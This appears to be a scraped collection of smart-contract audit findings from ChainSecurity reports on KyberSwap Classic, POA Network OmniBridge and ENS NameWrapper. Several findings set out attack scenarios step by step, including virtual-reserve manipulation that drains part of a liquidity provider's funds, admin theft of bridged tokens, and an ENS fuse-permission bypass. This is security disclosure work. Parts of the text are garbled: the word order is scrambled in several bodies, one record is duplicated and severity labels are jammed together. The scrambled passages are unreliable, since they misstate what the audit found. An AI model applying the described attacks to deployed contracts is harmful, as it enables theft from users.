the pool, now only the victim's liquidity is in the pool Attacker uses the incorrect ratio of the virtual reserves to execute a swap that is bad for the victim Effect and Analysis: The \"gifted\" liquidity through unbalanced minting here goes back to the attacker as they are the only/primary liquidity provider In our example with an amplification factor of 100, the attacker can steal 12.69% of the victim's funds. Hence, the more the victim deposits, the more can be stolen. The attacker's funds can be smaller than the victim's funds. The percentage of stolen funds remains the same. This is independent of the price ratios between T0 and T1 (1:100 in this example). Different ratios lead to the same outcome. Other amplification factors lead to different results, but there are probably ways to make this attack more effective Example Numbers: Pool after liquidity has been added: [++] T0: 1.0 [++] T1: 100.0 [++] Value: 200.0 USD [+] Value of 1 LP Share: 20.00 USD [+] Virtual Reserves: 10.00, 1000.00 At this point all seems fine and the victim decides to add liqudity. Pool after pre-manipulation: [++] T0: 5.5249 [++] T1: 552.49 [++] Value: 1104.97 USD [+] Value of 1 LP Share: 110.50 USD [+] Virtual Reserves: 6.89, 1452.49 At this point the reserves are still in a 1:100 ratio, but the virtual reserves are not. There ratio is 1:210. Pool before final swap to exploit incorrect ratios: [++] T0: 100.0 [++] T1: 10000.0 [++] Value: 20000.0 USD [+] Value of 1 LP Share: 110.50 USD [+] Virtual Reserves: 124.68, 26290.01 At this point only the victim's liquidity is left. The ratio of the virtual reserves is still 1:210. The router now features a slippage protection on the ratio of the virtual reserves. The function takes two new arguments where users can specify the lower and upper bound for the ratio between the virtual Kyber.Network - KyberSwap Classic - ChainSecurity 15 \freserves. This mitigates the attack described above as the attacker can no longer arbitrarily unbalance the virtual reserves. Note that the protection is in the Router, hence, users interacting with the pool contract directly are not protected. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "6.3 Outdated Compiler Version", "body": " The project uses an outdated version of the Solidity compiler. pragma solidity 0.6.6; in Known https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json#L1378 version bugs ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "0.6.6 ", "body": " are: More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing the most recent Solidity release is version 0.6.12. For version 0.6.x the most recent release is 0.6.12 which contains some bugfixes but no breaking changes. After the intermediate report the compiler version has been updated to 0.6.12. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "6.4 Redundant Modulo Operation", "body": " DMMPool._update In operation uint32 blockTimestamp = uint32(block.timestamp % 2**32);. With optimizations enabled, for the uint32(uint256(block.timestamp)) and uint32(uint256(block.timestamp)%2**32);. redundant generates bytecode compiler identical modulo version solidity almost there ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "0.6.6 ", "body": " are: More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing the most recent Solidity release is version 0.6.12. For version 0.6.x the most recent release is 0.6.12 which contains some bugfixes but no breaking changes. After the intermediate report the compiler version has been updated to 0.6.12. 6.4 Redundant Modulo Operation DMMPool._update In operation uint32 blockTimestamp = uint32(block.timestamp % 2**32);. With optimizations enabled, for the uint32(uint256(block.timestamp)) and uint32(uint256(block.timestamp)%2**32);. redundant generates bytecode compiler identical modulo version solidity almost there 0.6.6 use of is a This code no longer exists in the updated implementation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "6.5 Unused Library", "body": " Library UQ112x112 is present in the repository but never used. The unused library has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "6.6 Unused blockTimestampLast", "body": " Kyber.Network - KyberSwap Classic - ChainSecurity 16 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fVariable blockTimestampLast in DMMPool is regularly updated but never used. The purpose of the variable is not documented. The unused variable has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "6.7 Wrong Inequality", "body": " DMMLibrary.getAmount ensures reserveOut >= amountOut. However, if the equality holds the transaction requires amount0Out < data.reserve0 && amount1Out < data.reserve1. swap since later later call will fail in a The equality check has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "6.8 vReserve Wrong Naming", "body": " In DMMLibrary.getReserves(), the return values of DMMPool.getReserves are assigned to vReserve variables while the values returned by the function correspond to the unamplified reserves. (uint256 vReserve0, uint256 vReserve1, ) = IDMMPool(pool).getReserves(); IDMMPool(pool).getReserves() : function getReserves() external override view returns ( uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast ) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } The naming of the variables in the code has been corrected. Kyber.Network - KyberSwap Classic - ChainSecurity 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "7.1 Amplification Increases Risk for Liquidity", "body": " Providers A higher amplification coefficient increases the risk for the liquidity providers. Due to a large amplification factor, larger trade volumes are required in order for the current price to be reached. Moreover, the smaller spread may be exploited by arbitrage bots balancing liquidity accross markets. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "7.2 Tokens With Multiple Entrypoints", "body": " This is more a theoretical issue but has applied to tokens in the past. Nowadays this is a less common issue. Some (very few) tokens have multiple addresses as entry points, e.g. a proxy not using delegatecall and the actual implementation contract. TrueUSD is such an example. In the DMM system, this may has following consequences. The check in DMMFactory.create() to prevent the creation of a pool where tokenA and tokenB are equal can be bypassed. A second unamplified pool may exist for the same token pair. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "7.3 Volume Increase", "body": " By swapping large amounts of funds of a pool with the receiver being the pool itself anyone may execute a trade with a large volume. The requirement is that some additional tokens are transferred to the pool during the callback in order to cover the fees so that the transaction can succeed. As any swap, such a trade gets recorded in the VolumeTrendRecorder. The volume observed by the VolumeTrendRecorder may be increased by anyone willing to spend the fee in order to do so. Kyber.Network - KyberSwap Classic - ChainSecurity 18 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "5.1 Administrators Can Make Non-Native Tokens", "body": " Native and Native Tokens Non-Native When the function setCustomTokenAddressPair is called, the following checks are being performed: require(!isTokenRegistered(_bridgedToken)); require(nativeTokenAddress(_bridgedToken) == address(0)); require(bridgedTokenAddress(_nativeToken) == address(0)); However, there is no check that the _nativeToken is not bridged token, i.e.: require(nativeTokenAddress(_nativeToken) == address(0)); This can create a weird condition where the bridged token is again a native token. Once this occurs, the bridge fails to function correctly, as the bridged tokens are now handled as native tokens. Similarly, administrators can also register an existing native token, as a non-native token. Consider the following example: 1. A native token T exists, which has already been bridged and where tokens of type T are locked up inside the mediator contract. 2. An administrator call setCustomTokenAddressPair with T as the _bridgedToken and some other fake token F as the supposedly native token on the other side. POA Network - OmniBridge - ChainSecurity 9 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedRiskAcceptedLowAcknowledgedRiskAcceptedRiskAcceptedCorrectnessMediumVersion1RiskAccepted \f3. The attacker transfers a lot of F token (which can be freely minted) over the brige and thereby unlocks the T tokens. This allows administrators to steal all native tokens held by the bridge. However, the overall risk is rather low as only administrators can call setCustomTokenAddressPair. Risk accepted: To address this problem, POA Network added a comment saying that the function arguments should be manually validated by the administrator, as no easy solution is available. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "5.2 Tokens With More Than One Token Address", "body": " Can Be Stolen by Admins Tokens that have more than one address, through which they can be called, can be stolen when they are bridged. An example for such a token is TUSD. The attack would work as follows: 1. The token is already bridged using the first token address. An amount X has been transferred across the bridge. 2. An attacker bridges the token using another token address. The attacker also bridges X tokens. Now the mediator balance on the native side is X for both token addresses. However, the actual balance, when queried from balanceOf is 2*X for both of them. 3. The attacker colludes with the administrators, which trigger a call to fixMediatorBalance on the native side and withdraw X amount of tokens. 4. Then, the attacker can withdraw X tokens, by sending back the bridged tokens. Overall, turned X tokens into 2*X tokens, when ignoring fees. The attacker managed to withdraw the full amount of bridged tokens. At the time of writing 118,000 TUSD have been bridged which are at risk under such an attack. Risk accepted: No code changes were done. POA Network added a warning comment to fixMediatorBalance method. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "5.3 Documentation Mismatches", "body": " The following mismatches with the documentation or within the documentation were found: 1. The definition of native is different in the code and in the documentation: https://docs.tokenbridge.net/about-tokenbridge/features#chain-and-network-definitions In the code, native refers to the origin of the token contract, in the documentation to the home side of the network. 2. Some documentation items mention a requiredBlockConfirmations of 8 while others mention 12. POA Network - OmniBridge - ChainSecurity 10 SecurityMediumVersion1RiskAcceptedCorrectnessLowVersion1Acknowledged \fAcknowledged: Documentation will be re-worked with help of a technical writer. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "5.4 Function onTokenTransfer Reentrancy Case", "body": " The main contracts have a lock() function with a corresponding variable that aims as a reentrancy guard. In case when lock() is true, the onTokenTransfer function will silently accept the funds. This can lead to a reentrancy that can break some invariants of the contract. In case, the callback happens during the safeTransferFrom in the _relayTokens function, the from address can perform a token transfer to the Bridge contract. Note that the same or a different token can be used. Such callbacks during safeTransferFrom can occur with tokens that implement the ERC777 or similar standards. Because the received tokens are silently accepted and _setMediatorBalance is not called, the mediatorBalance won't track the balance correctly. Risk accepted: The described behaviour is acceptable, as ERC-777 tokens are not supported by the OmniBridge. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "5.5 Incompatible Tokens", "body": " The following token types are incompatible with Omnibridge: Rebasing tokens: If the balance of a token can change while it is stored inside the mediator contract, then basic assumptions no longer hold. Hence, such tokens as Ampleforth should not be bridged as the bridging might not be reversible. Special transfer fees: This report already contains issues regarding \"regular transfer fees\", where upon transfer of X tokens, X-F tokens are transferred, while F tokens are paid to the fee receiver. In case of transfer fees, where upon transfer of X tokens, X+F tokens are subtracted from the senders balance and X tokens arrive at the receiver, the Omnibridge contracts will fail as they do not account for such fees. Malicious tokens: Obviously, any malicious token contracts that do not follow sensible guidelines so that for example, balances can be arbitrarily can freely manipulated, cannot be bridged in a meaningful manner. Users should be warned not to bridge such tokens. Risk accepted: POA Network manually reviewed the most important tokens to ensure their compatibility and will monitor the bridge and the bridged tokens. Furthermore, appropriate warnings will be added inside the UI. POA Network - OmniBridge - ChainSecurity 11 SecurityLowVersion1RiskAcceptedDesignLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Decimals in bridgeSpecificActionsOnTokenTransfer Are Not Used ERC20 Function Calls Ignore Return Values No Canonical Definition of Calldata for onTokenTransfer Safe Transfers Are Not Used for All Token Transfers Transferred Values in Case of Relaying Tokens With Fees 0 0 6 OmnibridgeFeeManager Fee Distribution Reverts in Case of Tokens With Transfer Fees -Severity Findings Code Simplification Possible Name Collision Among Bridged Tokens With Different Origins 5 Reentrancy Into AMB Restriction to Static Call Superfluous Loads From Storage ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.1 Decimals in ", "body": " bridgeSpecificActionsOnTokenTransfer Are Not Used In both Home and Foreign OmniBridge contracts the bridgeSpecificActionsOnTokenTransfer function during the token relaying. But this data is used only in few cases within this function: the decimals are queried in Token is not registered and limits need to be initialised. Token is native to the current side of the bridge and its deployment is not yet acknowledged. In case of non-native, acknowledged or initialised Tokens the queried decimals won't be used. Because such cases are the most common ones, the unused data introduces extra gas costs that could be avoided. POA Network - OmniBridge - ChainSecurity 12 CriticalHighMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrected \fThe use of TokenReader.readDecimals() was refactored as so it is being called only when deployAndHandleTokens messages are sent. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.2 ERC20 Function Calls Ignore Return Values", "body": " The ERC20 specification states: Callers MUST handle false from returns (bool success). Callers MUST NOT assume that false is never returned! In some calls to the ERC20 tokens those return values are ignored: IBurnableMintableERC677Token(_token).mint(address(manager), fee) in _distributeFee function. IBurnableMintableERC677Token(_token).transfer(address(manager), fee) in _distributeFee function. IBurnableMintableERC677Token(_bridgedToken).mint(address(this), 1) in setCustomTokenAddressPair function. _getMinterFor(_token).mint(_recipient, _value) in _releaseTokens function. In most cases that happens during the calls to non-native Tokens that were deployed via the factory. But due to the setCustomTokenAddressPair function the non-native contracts can have any behavior and the return values need to be checked explicitly. All calls to transfer and mint function now check the return values. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.3 No Canonical Definition of Calldata for ", "body": " onTokenTransfer The function onTokenTransfer uses inline assembly to read the receiver and calldata from the calldata arguments. The assembly strongly relies on some assumptions about the argument encoding of the Solidity. One of them is that there are no \"garbage bits\" between the byte offset of the bytes calldata _data variable and the length field of the bytes calldata _data argument. This assumption will hold true in most cases, but is not guaranteed to hold. This assumption can be eliminated letting the compiler copy the _data into the memory and dealing with it there. Full expectations about the expected information in the _data argument must be properly documented, to avoid the misinterpretation of the interface. function onTokenTransfer( address _from, uint256 _value, bytes calldata _data ) external returns (bool) { POA Network - OmniBridge - ChainSecurity 13 DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f For the relevant onTokenTransfer function, the calldata location of the _data variable was replaced with the memory location. Hence, the ABI parsing is performed by the compiler and only afterwards data is being parsed in inline assembly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.4 Safe Transfers Are Not Used for All Token", "body": " Transfers For some transfers of ERC20 Tokens the SafeERC20 functions are not used. This includes: The function _distributeFee in OmnibridgeFeeManagerConnector contract. The function distributeFee in OmnibridgeFeeManager contract. The first case only appears for non-native tokens at the Home side of the bridge, which in most cases should be ERC677 deployed by Factory. But due to the setCustomTokenAddressPair function, there are possible conditions when any other token can be called with this transfer. All calls to the transfer function were replaced by a safe wrapper. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.5 Transferred Values in Case of Relaying", "body": " Tokens With Fees In a scenario with token relaying, the _relayTokens function is executed. A user provided _value is then transferred to the bridge contract via safeTransferFrom. If the token has fees on transfer (e.g. USDT-not currently charged, PAXG), the actual transferred value will be smaller than the bridged value. invariant This Balance of bridge == total supply of bridged token. effectively break the will This has been corrected by measuring the actually transferred token amount. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.6 OmnibridgeFeeManager Fee Distribution", "body": " Reverts in Case of Tokens With Transfer Fees As part of the internal function _distributeFee of the OmnibridgeFeeManagerConnector contract calls the token contract to transfer or mint the fee amount to the manager. In case the relevant token contract is native to Home side it might have transfer fees. Then, a value less than fee will be moved during the transfer to the OmnibridgeFeeManager. Later the OmnibridgeFeeManager tries to distribute this fee amount using distributeFee function. Because the actually transferred value will be POA Network - OmniBridge - ChainSecurity 14 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fsmaller in case of Tokens with transfer fees, the OmnibridgeFeeManager will not have enough assets to perform the reward distribution with the required values. Hence, the whole transaction will fail and such tokens cannot be moved across the bridge. The code has been rewritten so that 1. The OmnibridgeFeeManager determines the amount of fees to distribute by calling token.balanceOf(address(this)). 2. Failure of the transfer/mint operation during the fee distribution will not fail the Omnibridge message processing. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.7 Code Simplification Possible", "body": " The following code can be simplified: if (_token == address(0xb7D311E2Eb55F2f68a9440da38e7989210b9A05e)) { // hardcoded address of the TokenMinter address return IBurnableMintableERC677Token(0xb7D311E2Eb55F2f68a9440da38e7989210b9A05e); } return IBurnableMintableERC677Token(_token); The if clause can be entirely omitted. Specfication changed: Before the OmniBridge is deployed for the ETH-xDAI instance the contract address in this check can be replaced with the actual minter 0x857DD07866C1e19eb2CDFceF7aE655cE7f9E560d of the STAKE token on the xDai chain. For other bridges this check is either removed at all or did not have any significant impact. A comment was added into the code to bring more clarity why this check is needed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.8 Name Collision Among Bridged Tokens With", "body": " Different Origins When the bridge creates token contracts on the Home chain, the \" on xDai\" string is appended to the Foreign token name. In case of multiple bridges to different Foreign chains, different tokens that have the same name on different Foreign chains, will have same names on the Home chain. As an example, \"1INCH Token\" from Ethereum Mainnet and Binance Smart Chain will both have the \"1INCH Token on xDai\" name on the Home chain. While that has no direct code-related problems, this increases the human error chance during the user interactions. POA Network - OmniBridge - ChainSecurity 15 DesignLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \fNewly deployed Omnibridge contracts are using \"from X\" names where X is the respective blockchain. The Blockscout interface also renames such tokens in the UI. Unfortunately, it is not possible to change token names for already existing tokens. However such collisions are being mitigated in the UI. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.9 Reentrancy Into AMB", "body": " When the Arbitrary Message Bridge contract receives a message from the other side, the following is performed code is used to execute the message call: setMessageSender(_sender); setMessageId(_messageId); setMessageSourceChainId(_sourceChainId); ... bool status = _contract.call.gas(_gas)(_data); setMessageSender(address(0)); setMessageId(bytes32(0)); setMessageSourceChainId(0); The called contracts can query the information such as messageId and messageSender. These information provide important authorization for the called contracts. As there is no reentrancy guard on this function, this code can be reentered in the following way: 1. Call A is made, correct information for A is available 2. A triggers the reentrancy and call B is made, now B is executing and the correct information for B is available 3. The call B completes and the information are reset to 0 4. The execution of A continues, but now the queried information will be 0 Hence, it is possible that during the execution of a passed message the wrong context, namely 0 is returned when queried from the AMB contract. Furthermore, events are emitted in an interlaced order which might confuse connected systems. Please note the AMB contracts were outside of the scope of this review, however, we still note this as it can affect the OmniBridge. The issue was fixed in https://github.com/poanetwork/tokenbridge-contracts/pull/577. It ensures that no other message relay is currently being processed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.10 Restriction to Static Call", "body": " The contract contains the following code to determine the upgradabilityOwner: address(this).call(abi.encodeWithSelector(UPGRADEABILITY_OWNER)) However, this function is defined as a view function: POA Network - OmniBridge - ChainSecurity 16 SecurityLowVersion1CodeCorrectedSecurityLowVersion1CodeCorrected \ffunction upgradeabilityOwner() external view returns (address); Hence, a staticcall can be used to avoid unexpected state modifications. The call was replaced with a staticcall. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.11 Superfluous Loads From Storage", "body": " The Omnibridge contracts sometimes contain code like this: require(!bridgeContract().messageCallStatus(_messageId)); require(bridgeContract().failedMessageReceiver(_messageId) == address(this)); require(bridgeContract().failedMessageSender(_messageId) == mediatorContractOnOtherSide()); As there is a storage load (SLOAD) inside the bridgeContract() function, this SLOAD will be executed three times in this case. Due to the about-to-be introduced EIP-2929 the additional costs of extra SLOADs from the same location are significantly lowered, but it could still be avoided to do it. The return value of bridgeContract() was saved in a local variable to avoid repeated calls. POA Network - OmniBridge - ChainSecurity 17 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight potential pitfalls which are fairly common when working Distributed Ledger Technologies. As such technologies are still rather novel not all developers might yet be aware of these pitfalls. Hence, the mentioned topics serve to clarify or support the report, but do not require a modification inside the project. Instead, they should raise awareness in order to improve the overall understanding for users and developers. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "7.1 Differing Token Values", "body": " The OmniBridge has limits on transfers per token. This means that only a certain amount of tokens can be transferred per transaction and per day. Generally, this limits are initialized as a number of tokens. Obviously, a certain number of tokens of one type can have a very different value than the same number of tokens from another type. Hence, these limits need to be carefully monitored. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "7.2 Function requestFailedMessageFix", "body": " Performs Multiple Calls to bridgeContract When a user detects a failed, bridged message, the function requestFailedMessageFix can be used to fix the failed call. Therefore, three pieces of information are needed which are currently loaded like this: require(!bridgeContract().messageCallStatus(_messageId)); require(bridgeContract().failedMessageReceiver(_messageId) == address(this)); require(bridgeContract().failedMessageSender(_messageId) == mediatorContractOnOtherSide()); This code is execute both on Home and Foreign bridges. Note that there are two levels of inefficiency here. First of all three separate calls are made, even though these information are generally always queried together. Second, this information is spread amount three storage slots, and hence requires three costly SLOADs, even though two storage slots would easily suffice, as only 321 bit of data are stored. However, as this needs to be resolved within the AMB contracts, it is outside the scope of this code review. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "7.3 Limits Can Be Compressed in Storage", "body": " There are three storage slots being consumed on both sides of the bridge for the following information: uintStorage[keccak256(abi.encodePacked(\"dailyLimit\", _token))] = _limits[0]; uintStorage[keccak256(abi.encodePacked(\"maxPerTx\", _token))] = _limits[1]; uintStorage[keccak256(abi.encodePacked(\"minPerTx\", _token))] = _limits[2]; These information are often accessed together. Given the value ranges they could probably be compressed into two storage slots. This would also provide gas savings on the foreign side as it would avoid a costly SLOAD. POA Network - OmniBridge - ChainSecurity 18 NoteVersion1NoteVersion1NoteVersion1 \f7.4 Proxy Fallback Redundant Operations The Proxy contract does some redundant operations, such as: let ptr := mload(0x40) mstore(0x40, add(ptr, returndatasize())) Preserving the free memory slot pointer at 0x40 is important when the assembly code is used together with Solidity code. But in case of the Proxy contract, this can be skipped, as no solidity code is executed after the assembly block. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "7.5 Redundant Work Performed as Part of ", "body": " totalSpentPerDay The function bridgeSpecificActionsOnTokenTransfer has the following code, that checks and adjusts the totalSpentPerDay limit for a particular token. require(withinLimit(_token, _value)); addTotalSpentPerDay(_token, getCurrentDay(), _value); The code of those 2 functions are quite similar. function withinLimit(address _token, uint256 _amount) public view returns (bool) { uint256 nextLimit = totalSpentPerDay(_token, getCurrentDay()).add(_amount); return dailyLimit(address(0)) > 0 && dailyLimit(_token) >= nextLimit && _amount <= maxPerTx(_token) && _amount >= minPerTx(_token); } function addTotalSpentPerDay( address _token, uint256 _day, uint256 _value ) internal { uintStorage[keccak256(abi.encodePacked(\"totalSpentPerDay\", _token, _day))] = totalSpentPerDay(_token, _day).add( _value ); } The function withinLimit, that is executed first, reads, increases and checks limits. The function addTotalSpentPerDay reads, increases and writes the increased value for the limit. This is a small redundancy that can potentially be eliminated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "7.6 Reentrancy Lock Is Gas Inefficient", "body": " The main contracts have a reentrancy guard. Setting and releasing this guard inside OmniBridge contracts is done via storage of a boolean true/false. Please note that using locks which switch between the values 0 and 1 is more expensive than switching between the values 1 and 2 in case of a reverting transaction. However, the correct choice of this values POA Network - OmniBridge - ChainSecurity 19 NoteVersion1NoteVersion1NoteVersion1 \fin the future will also be affected by the currently discussed EIP-3298 which is concerned about the removals of refunds. Based on EIP-2929 it would also be beneficial if the reentracy lock value would be packed into the same storage slot with another variable, but that is hard due to the chosen storage layout. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "7.7 State of Implementation Contract", "body": " With proxied contracts, the state generally resides in the proxy while the code resides inside the implementation contract. In principle, the state of the implementation contract is meaningless, unless the code contains selfdestruct, callcode or delegatecall opcodes. Neither of these opcodes can be found inside the current Omnibridge contracts. However, we would still recommend to make the initialization of the state of the implementation contract part of the deployment scripts, as a best practice to avoid future issues. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "7.8 Token Creators Can Avoid Fee Payments", "body": " Token contracts that are native to the xDai side could be programmed such that they avoid a fee payment to the bridge validators, e.g. by simply ignoring transfer calls to and from the fee manager. Furthermore, existing tokens could be wrapped to avoid fees. However, as the fees are fairly low and as such tokens could be blocked on the bridge, the risk appears to be very low. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "7.9 Token With Transfer Restrictions", "body": " Certain Tokens, especially regulated stable coins, have transfer restrictions, blacklists or even the power to seize funds. If some tainted funds would be bridged, the entire bridge balance of that particular token might become frozen or could get seized. As with any other contract where funds are deposited, users need to be aware of these potential risks. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "7.10 Weak Randomness", "body": " The following function is used to pick a random number: function random(uint256 _count) internal view returns (uint256) { return uint256(blockhash(block.number.sub(1))) % _count; } This is generally a bad way to sample randomness as, especially in the case of xDai, different attacks exist. Furthermore, there randomness is extremely slightly skewed. In this context, however, the randomness only serves to pick the account the receives the fee dust. As the corresponding monetary value is generally tiny, it seems acceptable. POA Network - OmniBridge - ChainSecurity 20 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f7.11 onlyMediator Modifier There is an onlyMediator modifier inside the BasicAMBMediator contract. It performs two checks: Check that the call comes from AMB bridge contracts. Check that the forwarded by AMB bridge the message sender is a mediator on the other side. There are multiple concerns about this modifier. Firstly, the MediatorOwnableModule has a modifier with the same name that performs only one check - that the message comes from OmniBridge extension contract. That can potentially cause misunderstandings and human errors. Secondly, it seems that the virtual message sender is always needed. This is currently being queried through a call to bridge.messageSender(). Here, for future versions of the AMB protocol a more efficient design would be possible where this information is passed along. /** * @dev Throws if caller on the other side is not an associated mediator. */ modifier onlyMediator { _onlyMediator(); _; } /** * @dev Internal function for reducing onlyMediator modifier bytecode overhead. */ function _onlyMediator() internal view { IAMB bridge = bridgeContract(); require(msg.sender == address(bridge)); require(bridge.messageSender() == mediatorContractOnOtherSide()); } POA Network - OmniBridge - ChainSecurity 21 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-omnibridge/"}, {"title": "6.1 Expired Domains Look Valid for the", "body": " Subdomains The desired invariant that fuses can be inspected individually and care only needs to be taken when domains expire, can be broken. This is because an expired domain can be rewrapped with new fuses and wrapped subdomains are not aware of the expiry of higher-level domains. Please consider the following scenario: 1. User U controls example.eth, wraps it and burns the CANNOT_REPLACE_SUBDOMAIN fuse. 2. The domain expires and user V takes control of it and makes sure it will not expire any time soon. 3. User V assigns control to W over sub.example.org. 4. User W wraps sub.example.org: 1. W also decides to burn the CANNOT_UNWRAP fuse. 2. During the execution the parent node (example.eth) is checked where the CANNOT_REPLACE_SUBDOMAIN fuse has been burnt. 3. Hence, the wrapping succeeds. 5. Now third parties check the wrapped state of sub.example.org: According to the invariant it cannot be unwrapped as it will not expire any time soon and as the CANNOT_UNWRAP fuse has been burnt. 6. User V can freely reassign sub.example.org (independently of the NameWrapper). Hence, the permission system has been bypassed as a non-wrapped and a wrapped version exists for sub.example.org. ENS - NameWrapper - 10 CriticalHighMediumCodeCorrectedSpeci\ufb01cationChangedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCorrectnessMediumVersion1CodeCorrected \fHence, fuses are indifferent to the expiry of domains and they enforce the corresponding permissions only for never-expired domains. The code was rewritten so that it checks the hierarchy of a name for safety. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ethereum-name-service-ens-namewrapper/"}, {"title": "6.2 Old State From Expired Domains Can Block", "body": " Legitimate Actions In case a domain is wrapped, then expires and is later controlled by another user and wrapped again, the following problem can arise, which blocks the new legitimate owner from performing an action they would have been allowed to. Please consider the following sequence: 1. User U controls example.eth and wraps it. 2. User U creates a subnode sub.example.org and sets themselves as owner. 3. The domain expires and user V takes control of it. 4. User V wraps example.eth again and burns the CANNOT_REPLACE_SUBDOMAIN fuse. 5. Now, user V tries to create sub.example.org: 1. The function canCallSetSubnodeOwner is evaluated, it should return true as V has the permission to create new subdomains. 2. The owner of sub.example.org is queried and it returns U. 3. As the owner is non-zero, the CANNOT_REPLACE_SUBDOMAIN fuse is checked. 4. Finally, canCallSetSubnodeOwner returns false and hence the legitimate creation of the subnode fails. Specification corrected: The specification has been made more explicit so that it covers the case above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/ethereum-name-service-ens-namewrapper/"}, {"title": "6.3 Variable node Assigned but Never Used in", "body": " wrapETH2LD the In _makeNode(ETH_NODE, labelhash). However, this value is never used. wrapETH2LD functions, node new the is calculated using The redundant variable was removed. ENS - NameWrapper - 11 